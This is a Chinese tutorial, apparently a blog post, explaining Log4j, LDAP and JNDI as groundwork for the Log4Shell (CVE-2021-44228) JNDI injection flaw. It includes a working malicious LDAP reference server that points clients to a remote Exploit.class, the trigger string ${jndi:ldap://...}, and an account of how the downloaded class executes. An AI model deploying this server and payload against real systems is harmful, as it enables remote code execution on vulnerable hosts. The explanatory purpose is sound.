目录

0x01、Log4j介绍

用法:

1、 Pom.xml引入依赖

2、获得logger实例

3、logger.info() debug() error() warn()方法

为什么要用log4j

0x02 什么是LDAP

1、定义

2、目录数据库

3、用途:统一登录

4、实现厂家

5、LDAP代码演示

5.1、LDAP服务端

源码:

5.2、LDAPClient

0x03 什么是JNDI

1、定义

2、什么是命名服务

1  bind()

2 lookup()

3、为什么引入JNDI

1、JNDI方式通过数据源连接数据库

2、JNDI可以访问的服务

3、JNDI和LDAP的关系

0x04 JNDI注入漏洞

1、JNDI动态协议转换

2、JNDI  Naming Reference 命名引用

3、漏洞流程


0x01、Log4j介绍


1、认识Log4j

1.1、概念

Log for java,Apache的开源日志记录组件,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

记录日志的作用是可以对程序的运行进行调试跟踪,还可以对业务操作进行记录,方便追溯。

1.2、在应用程序中输出日志的目的:

  • 监视代码中变量的变化情况,把数据周期性记录到文件中供其他应用进行统计分析工作;
  • 跟踪代码运行时轨迹,作为日后审计的依据;
  • 担当集成开发环境中的调试器的作用,向文件和控制台打印代码的调试信息;

1.3  Log4J主要组件:

  • Log4j由三个重要的组件构成:日志信息的优先级,日志信息的输出目的地,日志信息的输出格式。日志信息的优先级从高到低有ERROR、WARN、 INFO、DEBUG,分别用来指定这条日志信息的重要程度;日志信息的输出目的地指定了日志将打印到控制台还是文件中;而输出格式则控制了日志信息的显示内容。
  • Logger:负责生成日志,并能够对日志信息进行分类筛选;
  • Appender:定义了日志信息输出的目的地,指定日志信息应该被输出到什么地方,这些地方可以是控制台、文件、网络设备等;
  • Layout:指定日志信息的输出格式;

2、log4j 用法:


1、 定义配置文件 

  • 配置根Logger
  • 配置日志信息输出目的地Appender
  • 配置日志信息的格式(布局)

Pom.xml引入依赖

<dependency>  <groupId>org.apache.logging.log4j</groupId>  <artifactId>log4j-core</artifactId>  <version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>  <groupId>org.apache.logging.log4j</groupId>  <artifactId>log4j-api</artifactId>  <version>2.14.1</version>
</dependency>
<dependency>  <groupId>junit</groupId>  <artifactId>junit</artifactId>  <version>4.12</version>  <scope>test</scope>
</dependency>

2、在代码中使用Log4j


  • 得到记录器
  • 读取配置文件
  • 插入记录信息(格式化日志信息)

获得logger实例

调用logger.info() debug() error() warn()方法

调用logger的方法

为什么要用log4j


Log4j是Apache的一个开源项目,通过使用Log4j,我们能够更加细致地控制日志的生成过程,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

eg:


0x02 什么是LDAP

1、定义

Lightweight directory access protocol

轻量级目录访问协议(目录服务)

2、目录数据库

我们可以理解为存储目录所定义的标准,类似于JDBC它定义了java连接数据库的标准,如下图栗子

3、用途:统一登录

比如说公司里面有非常多的办公系统,OA系统、邮箱服务器 、Git服务器和VPN......如果这些系统都是通过各自独立的账号进行登入,对于我们这些员工和用户来说,需要记住非常多的账号和密码,这显然比较麻烦。

我们设想把这些登入的入口统一起来,急需有一个统一的账号维护平台,一个人只需一个账号,通过同一个入口登入,那么就当然需要有一个集中存储用户信息的数据库,,在公司内部平台通用,而大多数开源平台都支持LDAP;因此只要搭建好LDAP服务,并跟钉钉之类的平台实现账号同步。

4、实现厂家


5、LDAP代码演示


5.1、LDAP服务端

UnboundID依赖启动ldap服务:

 在pom文件引入依赖:

监听7389:(只要不冲突,都可以)
添加了一条数据 :

源码:

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";/*** class地址 用#Exploit代替Exploit.class*/private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit";public static void main(String[] args) {int port = 7912;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor(URL cb) {this.codebase = cb;}@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);} catch (Exception e1) {e1.printStackTrace();}}protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Calc");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if (refPos > 0) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

5.2  LDAPClient

JNDI是javaee里面的一个规范,是JDK里面自带的一种依赖,首先调用Context对象,使用lookup方法查找数据,想要找的的数据是之前添加的uid=wuya,ou=employees,dc=example ,dc=com

package jndi;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class LDAPClient {public static void main(String[] args) throws NamingException {// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");Context ctx = new InitialContext();Object object =  ctx.lookup("ldap://127.0.0.1:7389/uid=wuya,ou=employees,dc=example,dc=com");}
}

0x03 什么是JNDI


1、定义

Java Naming and Directory Interface     Java 命名和目录接口
(命名服务接口)

2、什么是命名服务

        命名服务(Naming Service):用于根据名字找到位置、服务、信息、资源、对象等 K V,最简单的理解就是你给我一个名字,我给你返回一个资源,常用是拿哈希表进行实现。
基本操作:

1  bind()

发布服务(名字和资源的映射)

2 lookup()

用名字查找资源

3、为什么引入JNDI


为了解决JDBC直接连接数据库的弊端,我们操作数据库,实现更改其他类型的数据库时,它的驱动类是必须修改的;访问的用户过多时,连接池的参数需要调整;即

  1. 参数变动引发URL修改
  2. 数据库产品切换,驱动包修改
  3. 连接池参数的调整
总结:不够灵活、不便于维护

public class JDBCTest {public static void main(String[] args) throws ClassNotFoundException, SQLException  {String URL="jdbc:mysql://127.0.0.1:3306/jinyouxin?useUnicode=true&characterEncoding=utf-8";String USER="root";String PASSWORD="123456";Class.forName("com.mysql.jdbc.Driver");Connection conn=DriverManager.getConnection(URL, USER, PASSWORD);Statement st=conn.createStatement();ResultSet rs=st.executeQuery("select * from users where id =1 ");while(rs.next()){System.out.println("name:"+rs.getString("name")+"\n"+"password:"+rs.getString("password"));}rs.close();st.close();conn.close();}

1、JNDI方式通过数据源连接数据库

Object datasourceRef=ctx.lookup("java:jdbc/mydatasource");//它这里就是在寻找名字
    public void jndiConnet() throws SQLException, NamingException {Context ctx=new InitialContext();Object datasourceRef=ctx.lookup("java:jdbc/mydatasource");DataSource ds=(DataSource)datasourceRef;Connection conn=ds.getConnection();Statement st=conn.createStatement();ResultSet rs=st.executeQuery("select * from users where id =1 ");while(rs.next()){System.out.println("name:"+rs.getString("name")+"\n"+"password:"+rs.getString("password"));}rs.close();st.close();conn.close();}

仔细解读代码我们不难分析出JDBC操作数据库的url、password和user被整体打包到lookup的实体对象里面,我们如果想修改的话,改一下名字就可以了

2、JNDI可以访问的服务

上面只是以JDBC作为例子,实际上还可以实现LDAP目录服务、RMI远程方法调用、DNS、XNam 、Novell目录服务、 CORBA对象服务、文件系统WindowsXP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS......

3、JNDI和LDAP的关系

用JNDI接口访问LDAP服务,或者RMI(远程方法调用服务),通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据

${jndi:ldap://jinyouxin.com:5678/test}
关键函数    lookup
package jndi;import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import java.util.Hashtable;public class JNDIClient {public static void main(String[] args) throws NamingException {Hashtable<String, Object> env = new Hashtable<String, Object>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com");//env.put(Context.SECURITY_AUTHENTICATION, "simple");//env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=wuya,dc=net");//env.put(Context.SECURITY_CREDENTIALS, "wuya");DirContext ctx = new InitialDirContext(env);SearchControls searchControls = new SearchControls();searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);searchControls.setCountLimit(10);NamingEnumeration<SearchResult> namingEnumeration =ctx.search("", "(uid=*)", new Object[]{}, searchControls);//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称绑定了ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com");while (namingEnumeration.hasMore()) {SearchResult sr = namingEnumeration.next();System.out.println("DN: " + sr.getName());System.out.println(sr.getAttributes().get("uid"));//System.out.println("Password:" + new String((byte[]) sr.getAttributes().get("userPassword").get()));}ctx.close();}}

0x04 JNDI注入漏洞


1、JNDI动态协议转换

       即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议,比如说Context初始化是RMI服务,但是lookup的参数是LDAP服务,这个时候协议会动态转换。

2、JNDI  Naming Reference 命名引用

2.1 在LDAP里面存放一个外部资源,叫做命名引用,对应Reference类

我们可以这样理解,有些资源不适合存储在本地,可能是内容太大了,可以通过存储它的名字进行远程调用。

举个栗子:

比如说我们把编译好的.class文件放在远程centos 7的服务器上面,我这里放在phpstudy里面的/www根目录下,然后我们从本机启动LDAP的服务,对于我们本机而言.class文件并没有存储,我们在本机访问一下:

2.2 自动下载Exploit.class

如果JNDI客户端,在LDAP服务中找不到对应的资源(test),就去指定的地址请求。如果是命名引用,会把这个文件下载到本地,比如说test不存在,下载Exploit.class

2.3 执行.class文件

   如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行

3、漏洞流程

CVE-2021-44228 Log4j 远程代码执行漏洞——原理相关推荐

  1. 开源高性能 RISC-V 处理器“香山”国际亮相;Apache Log4j 远程代码执行漏洞;DeepMind 拥有 2800 亿参数的模型 | 开源日报

    整理 | 宋彤彤 责编 | 郑丽媛 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...

  2. Apache Log4j 远程代码执行漏洞直接让安全圈过年~

    在此声明:本文章的目的是让大家参考此漏洞的修复方法切记不要批量刷SRC,否则后果自负与本人无关, 安全圈直接过年了 苹果 百度 shiro从2014年-2022年坚持到了现在,log4j是下一个能养活 ...

  3. Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施

    一.问题描述 2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在的一个大规模.高影响的漏洞.此漏洞称为 Log4Shell,安全跟踪编码为 ...

  4. log4j 2 远程代码执行漏洞原理与搭建反弹shell

    log4j2漏洞出来有一段时间了, 该修复的都修复的差不多了, 是时候可以公开让大家了解下原理以及如何构建整套体系了. 本文虽然是靶机, 但原理上还是可以攻击其它漏洞机器的. 建议测试即可, 不然你就 ...

  5. Apache Log4j 远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)

    1.Java 6 将 log4j 升级到 2.3.1 版本,Java 7 将 log4j 升级到 2.12.3 版本,Java 8 或更高版本将 log4j 升级到 2.17.0 版本,下载地址:ht ...

  6. Log4j远程代码执行漏洞验证

    环境: poc: ${jndi:ldap://baxpur.ceye.io} 验证:

  7. Apache Log4j 远程代码注入漏洞

    漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...

  8. 如何看待 Apache Log4j 2 远程代码执行漏洞?

    Apache Log4j2 是一款优秀的 Java 日志框架,大量的业务框架都使用了该组件. 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 ...

  9. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  10. CVE-2021-1675: Windows Print Spooler远程代码执行漏洞

    ** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...

最新文章

  1. 如何设计一个通用的权限管理系统
  2. 基础算法 —— 贪心算法
  3. ALGO-22_蓝桥杯_算法训练_数的划分(DP)
  4. 浅谈web开发以及django的安装和入门
  5. Java8新特性教程 - 终极指南
  6. laravel手动误删了迁移文件,重新生成
  7. linux 安装 mysql off,linux下安装mysql
  8. 鸿蒙HI3516-HAP的编译-2021426
  9. CommandBehavior.CloseConnection使用
  10. PyCharm高校固定资产管理系统django-python+vue
  11. 工作学习总结--ng2-pdf-viewer的运用
  12. 【MediaSoup】UDPSOCKET recv数据到rtcp包解析
  13. Oracle 密码过期
  14. 典型的人工神经网络由很多层构成,但不包括
  15. react-use react hook 库
  16. MacPro安装运行Win10虚拟机 (Parallels Desktop)
  17. 同时设置min-height和max-height后el-scrollbar滚动监听失效?
  18. 【线索二叉树】C++代码及线索化过程详解
  19. Python膨胀操作
  20. 软件修复硬盘物理坏道究竟靠不靠谱?效哥告诉你标准答案

热门文章

  1. 阿里技面之raft如何选主
  2. 【读后感】《关键对话》
  3. oracle实现aes解密_AES加解密程序的实现
  4. android自定义四边形,以编程方式在Android中创建平行四边形绘图
  5. kubectl edit 与kubectl rollout
  6. Hunger Snake 2
  7. 18 获取给定的序列的所有排列, 组合
  8. 头歌java 实训 答案 代码 java入门
  9. HDU 1867(kmp应用)
  10. 03、STM8程序下载方法